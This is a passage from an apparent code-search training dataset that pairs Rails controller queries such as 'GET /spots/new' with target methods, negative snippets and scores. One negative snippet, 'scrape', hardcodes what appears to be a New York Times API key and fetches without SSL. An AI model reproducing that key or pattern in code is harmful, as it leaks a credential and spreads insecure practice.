Listing.search do\n keywords params[:query]\n end.results\n\n respond_to do |format|\n format.html { render :action => \"show\" }\n format.xml { render :xml => @listings }\n end\n end", "def index\n @roster_spots = RosterSpot.all.paginate(:page => params[:page]).per_page(10)\n end", "def index\n @spheres = Sphere.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @spheres }\n end\n end", "def index\n if params.has_key?(:longitude) and params.has_key?(:latitude) and params.has_key?(:area)\n @spots = SkateSpot.all\n\n # render :json => { :status => :success, :data => JSON.parse(render_to_string('index.json')) }\n render :json => \"{\\\"status\\\":\\\"success\\\",\\\"data\\\":#{render_to_string('index.json').presence || 'null'}}\"\n else\n render :json => { :status => :unprocessable_entity }\n end\n end", "def show\n @spot = Spot.find_by_id params[:id]\n @spot ||= Spot.find_by_name params[:id]\n\n redirect_to not_found_url and return unless @spot\n\n params[:focus] = @spot.name\n\n respond_to do |format|\n format.html # html\n format.xml { render :xml => @spot }\n end\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def create\n @spot = Spot.new(params[:spot])\n\n respond_to do |format|\n if @spot.save\n flash[:notice] = 'Spot was successfully created.'\n format.html { redirect_to(@spot) }\n format.xml { render :xml => @spot, :status => :created, :location => @spot }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @spot.errors, :status => :unprocessable_entity }\n end\n end\n end", "def stops_by_position\n get '/gtfs/stops/geosearch/'\n end", "def index\n @spots = Spot.sorted_by_current_potential\n end", "def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end", "def set_spot\n @spot = Spot.find(params[:spot_id])\n end", "def markets\n get('/markets')['markets']\n end", "def index\n # Generate sunspot search\n @records = record_default_search\n\n respond_with(@records)\n end", "def index\n @points = Point.all\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @points }\n end\n end", "def index\n @shots = Shot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @shots }\n end\n end", "def planets\n data = JSON.parse(open(\"http://swapi.co/api/planets\").read)\n @results = data[\"results\"]\n end", "def index\n endpoint(get(services_url).body)\n end", "def index\n @spents = Spent.all\n end", "def index\n @sitelinks = Sitelink.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sitelinks }\n end\n end", "def index\n @card_spots = CardSpot.all\n end", "def index\n @places = @site.places.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @places }\n end\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def index\n \n # read params and split spot_ids\n spot_ids = params[:id].split(',')\n \n # only spots that are from URL parameters\n @spots = Spot.where(id: spot_ids)\n @markers = @spots.map do |s|\n [ s.id, s.name, s.latitude, s.longitude, country_spot_url(s.country, s) ]\n end\n gon.markers = @markers\n \n # get the most probable country for the set of spots\n @country = probable_country(@spots)\n gon.country = @country\n \n redirect_to @country if exact_country?(@country, @spots) \n\n # @countries = probable_countries(@spots)\n\n end", "def show\n @spit = Spit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spit }\n end\n end", "def index\n @scotty_dog_sayings = ScottyDogSaying.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @scotty_dog_sayings }\n end\n end", "def index\n @tourpoints = Tourpoint.paginate(:per_page => 10, :page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tourpoints }\n end\n end", "def set_spot\n @spot = Spot.find_by_id(params[:id])\n end", "def pacscl_xml\n document = Blacklight.default_index.search(q: \"id:#{params[:id]}\")&.dig(\"response\", \"docs\")&.first\n document = SolrDocument.new(document)\n document.suppress_xml_containers!\n respond_to do |format|\n format.xml do\n render xml: document.export_as_xml\n end\n end\n end", "def catalogs\n path = \"#{api_root}/index/catalogs\"\n process_api_request(:get, path)\n end", "def index\n @locations = Location.find(:all)\n\n respond_to do |format|\n format.html \n format.xml { render :xml => @locations }\n end\n end", "def searches\n Boundary.get(@url)\n end", "def search\n spotyfy_client = SpotyfyClient.new(params[:search])\n spotyfy_client.perform\n items = SpotyfyService.parse_hash(spotyfy_client.body)\n render :json => items.to_json\n end", "def index\n @sprints = @product.sprints\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sprints }\n end\n end", "def index\n @sprints = Sprint.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @sprints.to_xml }\n end\n end", "def show\n @spot = Spot.find(params[:id])\n @users = UserSpots.find_all_by_spot_id(params[:id])\n @profiles = []\n @users.each { |item| @profiles << Profile.find_by_user_id(item.user_id) }\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: [@spot, @profiles] }\n end\n end", "def index\n @turistic_spot_posts = TuristicSpotPost.all\n end", "def index\n\t\n\t\t\n\t\t@listings = Listing.all\n\t\t\n\t\t#@listings = Listing.find.includes(:prices).(:price_range => params[:id]) #not working quite yet\n\t\t\n\n\t\trespond_to do |format|\n\t\t\tformat.html #index.html.erb\n\t\t\tformat.xml { render :xml =>@listings }\n\t\tend\n\tend", "def set_spot\n @spot = Spot.friendly.find(params[:id])\n end", "def set_spot\n @spot = Spot.friendly.find(params[:id])\n end", "def index\n @stockists = Stockist.all.paginate :page => params[:page], :per_page => 30\n\n respond_to do |format|\n format.html # index.haml\n format.xml { render :xml => @stockists }\n end\n end", "def index\n @updates = @vehicle.updates.page(params[:page]).per(30)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @updates }\n end\n end", "def index\n @places = @places.page params[:page]\n\n @feed_link = places_url(:format => :atom)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @places }\n format.atom { render :layout => false }\n end\n end", "def index\n @centricsteels = Centricsteel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @centricsteels }\n end\n end", "def show\n @roster_spot = RosterSpot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @roster_spot }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @votes }\n end\n end", "def index\n @locations = Location.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @locations }\n end\n end", "def index\n @locations = Location.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @locations }\n end\n end", "def index\n @lotteries = Lottery.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lotteries }\n end\n end", "def locations(place)\n get :loc => place\n end", "def index\n @search = Tso::Search.new(params[:search])\n @tsos = Tso.paginate(@search.find_options.merge(:page => params[:page]))\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tsos.to_xml(:except => [ :created_at, :updated_at ]) }\n end\n end", "def list\n get('/')\n end", "def destroy\n @spot = Spot.find(params[:id])\n @spot.destroy\n\n respond_to do |format|\n format.html { redirect_to(spots_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @spot = Spot.find(params[:id])\n @spot.destroy\n\n respond_to do |format|\n format.html { redirect_to(spots_url) }\n format.xml { head :ok }\n end\n end", "def index\n @venue_reviews = VenueReview.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @venue_reviews }\n end\n end", "def show\n @spouse = Spouse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spouse }\n end\n end", "def show\n @photos = @spot.photos.all\n @schools = @spot.schools.all\n gon.seasons = []\n @spot.seasons.each do |s|\n gon.seasons[s.sport.id] = s.get_months_array\n end\n\n\n if request.path != country_spot_path(@country, @spot)\n return redirect_to [@country, @spot], :status => :moved_permanently\n end\n \n end", "def show\n @photos = @spot.photos.all\n @schools = @spot.schools.all\n gon.seasons = []\n @spot.seasons.each do |s|\n gon.seasons[s.sport.id] = s.get_months_array\n end\n\n\n if request.path != country_spot_path(@country, @spot)\n return redirect_to [@country, @spot], :status => :moved_permanently\n end\n \n end", "def search\n @listings = Listing.search do\n keywords params[:query]\n end.results\n\n respond_to do |format|\n format.html { render :action => \"show\" }\n format.xml { render :xml => @listings }\n end\n end", "def new\n @spot = Spot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spot }\n end\n end", "def new\n @spot = Spot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spot }\n end\n end", "def list_relevances\n @entry = Entry.find(params[:id])\n @relevances = @entry.relevances\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @relevances }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "def get_substrates()\n\tputs \"Getting list of substrates.\"\n\tresponse = request_get('/api/partner/substrate')\n\tputs response.body\nend", "def index\n @places = @event.places.order(:name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @places }\n end\n end", "def index\n respond_to do |format|\n format.html {\n @places = Place.paginate(page: params[:page])\n }\n format.json {\n @places = Place.all\n }\n end\n end", "def index\n @positions = Position.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @positions }\n end\n end", "def show\n @slitting = Slitting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @slitting }\n end\n end", "def scrape\n articles = []\n url = 'http://api.nytimes.com'\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = false\n\n key = 'api-key=c12cb16541dce28040f58db4a5e139d6%3A17%3A72711388'\n\n request_url = '/svc/search/v2/articlesearch.json?' + key\n response = http.send_request('GET', request_url)\n\n result = JSON.parse(response.body)\n docs = result['response']['docs']\n\n docs.each do |doc|\n articles << (interpret doc)\n end\n articles\n end", "def index\n @votes = Vote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @votes }\n end\n end", "def index\n @votes = Vote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @votes }\n end\n end", "def index\n if @garage.nil?\n @garage_spots = GarageSpot.all\n else\n @garage_spots = GarageSpot.where(\"garage_id = ?\", @garage)\n end\n end", "def index\n @stations = AbstractStation.search(params[:q], :per_page => params[:limit] || 15, :page => 1)\n respond_to do |format|\n format.txt { render :text => @stations.join(\"\\n\") }\n format.xml { render :xml => @stations.to_xml(:only => [:id, :name], :skip_types => true) }\n format.js { render :text => @stations.collect{|s| \"#{s.station.id}|#{s.name}|#{s.station_queue(:ip_address => remote_ip)}\" }.join(\"\\n\") }\n #format.js { render :json => @stations.collect{|s| {:id => s.id, :name => s.name} }.to_json }\n end\n end", "def index\n @urls = Url.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @urls}\n format.json { render json: @urls }\n end\n end", "def index\n @shooting_ranges = ShootingRange.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @shooting_ranges }\n end\n end", "def index\n @search = Sunspot.search Generator do\n fulltext params[:query_generator]\n end\n @generators = @search.results\n respond_to do |format|\n format.html\n format.json {render :json => @generators.map(&:attributes) }\n end\nend" ]
[ "0.74429226", "0.70069253", "0.70063", "0.68722105", "0.68575096", "0.6855056", "0.6671202", "0.66618776", "0.6528304", "0.64600945", "0.63718253", "0.6355338", "0.6283198", "0.6252559", "0.62195116", "0.62018496", "0.60784507", "0.60048807", "0.5997642", "0.5981643", "0.5969076", "0.5947062", "0.5927813", "0.5898891", "0.58684766", "0.58555114", "0.5787826", "0.5767865", "0.5767509", "0.5759873", "0.5759759", "0.57557684", "0.5750413", "0.57228345", "0.5721272", "0.5709473", "0.57089496", "0.5708076", "0.5703059", "0.5694633", "0.56889206", "0.5687693", "0.5679047", "0.56707203", "0.5643906", "0.5643906", "0.5643906", "0.5643906", "0.56371725", "0.56068474", "0.56053257", "0.55863345", "0.558592", "0.5584776", "0.5574638", "0.5574046", "0.557342", "0.55655336", "0.55580413", "0.5538669", "0.55341715", "0.55246603", "0.55155236", "0.5515089", "0.5515089", "0.5510809", "0.54929394", "0.54891354", "0.54781127", "0.547523", "0.5474815", "0.5463706", "0.5463706", "0.5456313", "0.5448462", "0.5448245", "0.5447833", "0.5442179", "0.5441899", "0.54409987", "0.54360926", "0.54068846", "0.54068846", "0.54049873", "0.53974146", "0.53974146", "0.53958637", "0.5392584", "0.53865105", "0.538264", "0.53818864", "0.5380819", "0.5372125", "0.536911", "0.536911", "0.5365452", "0.53654224", "0.5361934", "0.5360094", "0.53589916" ]
0.6638542
8
GET /spots/1 GET /spots/1.xml
def show @spot = Spot.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @spot } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @spots = Spot.find(:all) \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @spots }\n end\n end", "def show\n @spot_activity = SpotActivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spot_activity }\n end\n end", "def get_listings_xml(url)\n @client.get_content(url)\n end", "def show\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @spot }\n end\n end", "def index\n @spots = Spot.visible.order('id desc').page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spots }\n end\n end", "def index\n @spots = Spot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spots }\n end\n end", "def index\n @spots = Spot.all\n end", "def spot\n if Api::V1::Spot.exists?(params[:id])\n spot = Api::V1::Spot.find(params[:id])\n render json: {\n status: 200,\n message: \"OK\",\n spot: Api::V1::SpotSerializer.new(spot), \n }\n else\n render json: {\n status: 404,\n message: \"Det finns ingen birdspot med det id:t.\"\n }\n end\n end", "def index\n if params[:keyword]\n @spots = Spot.find(:all, :conditions => [\"name like ?\", \"%#{params[:keyword]}%\"])\n else\n @spots = Spot.find(:all)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @spots }\n format.json { render :json => @spots.to_json(:only => [:name, :latitude, :longitude, :visits_count])}\n end\n end", "def index\n json_response(Spot.all)\n end", "def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end", "def show\n @spot = Spot.find_by_id params[:id]\n @spot ||= Spot.find_by_name params[:id]\n\n redirect_to not_found_url and return unless @spot\n\n params[:focus] = @spot.name\n\n respond_to do |format|\n format.html # html\n format.xml { render :xml => @spot }\n end\n end", "def show\n @parking_spot = ParkingSpot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @parking_spot }\n end\n end", "def show\n @spit = Spit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spit }\n end\n end", "def create\n @spot = Spot.new(params[:spot])\n\n respond_to do |format|\n if @spot.save\n flash[:notice] = 'Spot was successfully created.'\n format.html { redirect_to(@spot) }\n format.xml { render :xml => @spot, :status => :created, :location => @spot }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @spot.errors, :status => :unprocessable_entity }\n end\n end\n end", "def pacscl_xml\n document = Blacklight.default_index.search(q: \"id:#{params[:id]}\")&.dig(\"response\", \"docs\")&.first\n document = SolrDocument.new(document)\n document.suppress_xml_containers!\n respond_to do |format|\n format.xml do\n render xml: document.export_as_xml\n end\n end\n end", "def index\n @client.spots(-33.8670522, 151.1957362, :types => 'restaurant')\n @users = User.all\n end", "def google_places\n @client = GooglePlaces::Client.new(ENV['GOOGLE_API_KEY'])\n @results = @client.spots(params[:latitude], params[:longitude], :name => 'bar', :types => ['bar', 'night_club'], :radius => 10000)\n @spots = @results.map do |spot|\n spot.place_id = spot.id\n spot\n end\n render json: @spots\n end", "def index\n @places = Place.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @places }\n end\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def index\n @spotlights = Spotlight.all\n end", "def index\n @marketplaces = Marketplace.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @marketplaces }\n end\n end", "def set_spot\n @spot = Spot.find(params[:spot_id])\n end", "def show\n @stop = Stop.where(:short_name => params[:id]).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @stop.to_xml(\n :include => { \n :routes => {\n :only => [:name, :id] \n } \n }\n ) }\n format.kml\n end\n end", "def index\n @spheres = Sphere.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @spheres }\n end\n end", "def index\n @spots = Spot.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 10, :page =>params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spots }\n end\n end", "def index\n @points = Point.all\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @points }\n end\n end", "def show\n @spouse = Spouse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spouse }\n end\n end", "def show\n @spot = Spot.visible.find(params[:id])\n @json = [@spot].to_gmaps4rails\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @spot }\n end\n end", "def index\n @places = Place.lookfor(params[:q])\n @places = @places.map{|p| {:tag=>p.tag,:id=>p.id,:name=>p.name}}\n respond_to do |format|\n format.xml { render :xml => @places }\n end\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def index\n @shots = Shot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @shots }\n end\n end", "def show\n @park = Park.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @park }\n end\n end", "def show\n @park = Park.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @park }\n end\n end", "def show\n @listings = Listing.search do\n keywords params[:query]\n end.results\n\n respond_to do |format|\n format.html { render :action => \"show\" }\n format.xml { render :xml => @listings }\n end\n end", "def show\n @tso = Tso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tso.to_xml(:except => [ :created_at, :updated_at ]) }\n end\n end", "def index\n @tourpoints = Tourpoint.paginate(:per_page => 10, :page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tourpoints }\n end\n end", "def show\n @slitting = Slitting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @slitting }\n end\n end", "def set_spot\n @spot = Spot.find_by_id(params[:id])\n end", "def index\n @sitelinks = Sitelink.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sitelinks }\n end\n end", "def index\n @sprints = @product.sprints\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sprints }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @votes }\n end\n end", "def show\n @price_list = PriceList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @price_list }\n end\n end", "def show\n @price_list = PriceList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @price_list }\n end\n end", "def set_spot\n @spot = Spot.friendly.find(params[:id])\n end", "def set_spot\n @spot = Spot.friendly.find(params[:id])\n end", "def current_spots\n\n if current_spots_params[:filter] && current_spots_params[:filter][:location]\n location = RGeo::GeoJSON.decode(current_spots_params[:filter][:location])\n end\n # assign default location (LA City Hall) if one couldn't be deciphered from the params.\n location ||= LA_LOCATION\n\n limit = current_spots_params[:limit] || 20\n\n @spots = Spot.current.near(location).limit(limit).includes(:guesses, :user, :game)\n\n respond_to do |format|\n format.json\n end\n end", "def show\n @sphere = Sphere.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sphere }\n end\n end", "def show\n @route_point = RoutePoint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @route_point }\n end\n end", "def show\n @point = Point.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @point }\n format.kml # show.kml.erb\n end\n end", "def index\n if params[:q].blank?\n @spots = Spot.all\n else\n @spots = Spot.where('name LIKE ?', \"%#{params[:q]}%\")\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @spots }\n format.js\n end\n end", "def show\n @point = Point.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @point }\n end\n end", "def show\n @dogpark = Dogpark.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @dogpark }\n end\n end", "def show\n @st_pi = StPi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @st_pi }\n end\n end", "def index\n @updates = @vehicle.updates.page(params[:page]).per(30)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @updates }\n end\n end", "def index\n endpoint(get(services_url).body)\n end", "def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end", "def show\n @intelligence = Intelligence.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @intelligence }\n end\n end", "def destroy\n @spot = Spot.find(params[:id])\n @spot.destroy\n\n respond_to do |format|\n format.html { redirect_to(spots_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @spot = Spot.find(params[:id])\n @spot.destroy\n\n respond_to do |format|\n format.html { redirect_to(spots_url) }\n format.xml { head :ok }\n end\n end", "def show\n respond_to do |format|\n format.html do\n # this strips the counter when we don't want it, ie when there is no search\n redirect_to(:action => \"show\", :id => params[:id]) if session[:search].blank? && params[:counter]\n\n # this cleans out the search criteria when we're coming from a copy/paste URL without counter\n # because we don't want the context of whatever search we were in\n session[:search] = {} unless params[:counter]\n\n @response = get_solr_response_for_doc_id(params[:id])\n @document = SolrDocument.new(@response.docs.first)\n\n setup_previous_document\n setup_next_document\n end\n format.xml do\n @response = get_solr_response_for_doc_id(params[:id])\n @document = SolrDocument.new(@response.docs.first)\n render :xml => @document.to_xml\n end\n end\n\n end", "def show\n @tourpoint = Tourpoint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tourpoint }\n end\n end", "def index\n @dive_spots = DiveSpot.all\n end", "def index\n @sprints = Sprint.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @sprints.to_xml }\n end\n end", "def show\n @kingdom = Kingdom.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @kingdom }\n end\n end", "def stops_by_position\n get '/gtfs/stops/geosearch/'\n end", "def index\n @locations = Location.find(:all)\n\n respond_to do |format|\n format.html \n format.xml { render :xml => @locations }\n end\n end", "def new\n @spot_activity = SpotActivity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spot_activity }\n end\n end", "def show\n @scraper = Scraper.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @scraper }\n end\n end", "def index\n @votes = Vote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @votes }\n end\n end", "def index\n @votes = Vote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @votes }\n end\n end", "def destroy\n @spot = Spot.find(params[:id])\n @spot.destroy\n\n respond_to do |format|\n format.html { redirect_to(spot_url) }\n format.xml { head :ok }\n end\n end", "def index\n @votes = Vote.top\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @votes }\n end\n end", "def index\n if params.has_key?(:longitude) and params.has_key?(:latitude) and params.has_key?(:area)\n @spots = SkateSpot.all\n\n # render :json => { :status => :success, :data => JSON.parse(render_to_string('index.json')) }\n render :json => \"{\\\"status\\\":\\\"success\\\",\\\"data\\\":#{render_to_string('index.json').presence || 'null'}}\"\n else\n render :json => { :status => :unprocessable_entity }\n end\n end", "def index\n @search = Tso::Search.new(params[:search])\n @tsos = Tso.paginate(@search.find_options.merge(:page => params[:page]))\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tsos.to_xml(:except => [ :created_at, :updated_at ]) }\n end\n end", "def index\n @scotty_dog_sayings = ScottyDogSaying.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @scotty_dog_sayings }\n end\n end", "def show\n @approximate_service = ApproximateService.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @approximate_service }\n end\n end", "def show\n @spit_type = SpitType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spit_type }\n end\n end", "def index\n # Generate sunspot search\n @records = record_default_search\n\n respond_with(@records)\n end", "def show\n @sprint = Sprint.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @sprint.to_xml }\n end\n end", "def show\n @travel = Travel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @travel }\n end\n end", "def show\n @sitio = Sitio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sitio }\n end\n end", "def show\n @shot = Shot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @shot }\n end\n end", "def show\n @price = Price.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @price }\n end\n end", "def index\n @stockists = Stockist.all.paginate :page => params[:page], :per_page => 30\n\n respond_to do |format|\n format.html # index.haml\n format.xml { render :xml => @stockists }\n end\n end", "def show\n config\n @taxon = Taxon.find_by_permalink(params[:id].join(\"/\") + \"/\")\n \n if @taxon.nil? \n render :nothing => true, :status => \"404 Not Found\" and return\n end \n\n respond_to do |format|\n format.html { }\n format.xml { render :layout => false, :template => 'sitemap/show.xml.erb' }\n format.text { render :text => @taxon.products.map(&:name).join('\\n') }\t\t##? \n end\n end", "def index\n @page_title = \"Data Points\"\n @data_points = DataPoint.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @data_points }\n end\n end", "def show\n @scotty_dog_saying = ScottyDogSaying.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @scotty_dog_saying }\n end\n end", "def show\n @place = Place.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @place.to_xml(:only => [:name, :vicinity, :type_poi, :lat, :lon, :thumbnail, :address, :phoneNumber, :description]) }\n format.json { render :json => @place.to_json(:only => [:name, :vicinity, :type_poi, :lat, :lon, :thumbnail, :address, :phoneNumber, :description]) }\n end\n end", "def show\n @lookup_pettracer = LookupPettracer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_pettracer }\n end\n end", "def show\n @lookup_pettracer = LookupPettracer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_pettracer }\n end\n end", "def show\n @sprint = Sprint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sprint }\n end\n end", "def index\n respond_to do |format|\n format.html { render action: 'index' } # index.html.erb\n format.json # index.json.erb\n format.xml { render xml: positions }\n end\n end", "def show\n @serie = Serie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @serie }\n end\n end", "def show\n @travel_place = TravelPlace.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @travel_place }\n end\n end", "def show\n @waypoint = Waypoint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @waypoint }\n end\n end" ]
[ "0.72319645", "0.6495363", "0.648675", "0.6435463", "0.63611215", "0.63473827", "0.6317015", "0.631176", "0.6245735", "0.6157297", "0.61473876", "0.5989815", "0.5974792", "0.5937288", "0.5893849", "0.58660686", "0.5848654", "0.58289784", "0.58203554", "0.5813854", "0.58066094", "0.57947683", "0.57479274", "0.57458663", "0.57430124", "0.5723435", "0.57151", "0.57148486", "0.56956524", "0.56898797", "0.56664085", "0.56664085", "0.56664085", "0.56664085", "0.565599", "0.5634808", "0.5634808", "0.56340146", "0.5631091", "0.5624752", "0.56163484", "0.5615053", "0.56136376", "0.5602006", "0.55904174", "0.55876076", "0.55876076", "0.55687034", "0.55687034", "0.5567874", "0.55660945", "0.5563361", "0.5559018", "0.5544078", "0.55328745", "0.5524452", "0.5514543", "0.5512371", "0.55068463", "0.5506086", "0.55029154", "0.5495897", "0.5495488", "0.54877263", "0.5472038", "0.54682386", "0.54670423", "0.5459638", "0.5456667", "0.54509026", "0.5448686", "0.5445413", "0.54334754", "0.54334754", "0.54311025", "0.54269195", "0.54268044", "0.5424585", "0.54207885", "0.542001", "0.5418928", "0.5407443", "0.5399246", "0.5397183", "0.53955734", "0.5395168", "0.53941965", "0.5389339", "0.5386116", "0.5384528", "0.53836316", "0.5375181", "0.5375001", "0.5375001", "0.53708935", "0.5366774", "0.5366365", "0.53649104", "0.536432" ]
0.72126204
2
GET /spots/new GET /spots/new.xml
def new @title = "場所の登録" @spot = Spot.new @lat = session[:new_map_center_lat] || 34 @lng = session[:new_map_center_lng] || 150 @zoom = session[:new_map_zoom] || 1 respond_to do |format| format.html # new.html.erb format.xml { render :xml => @spot } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
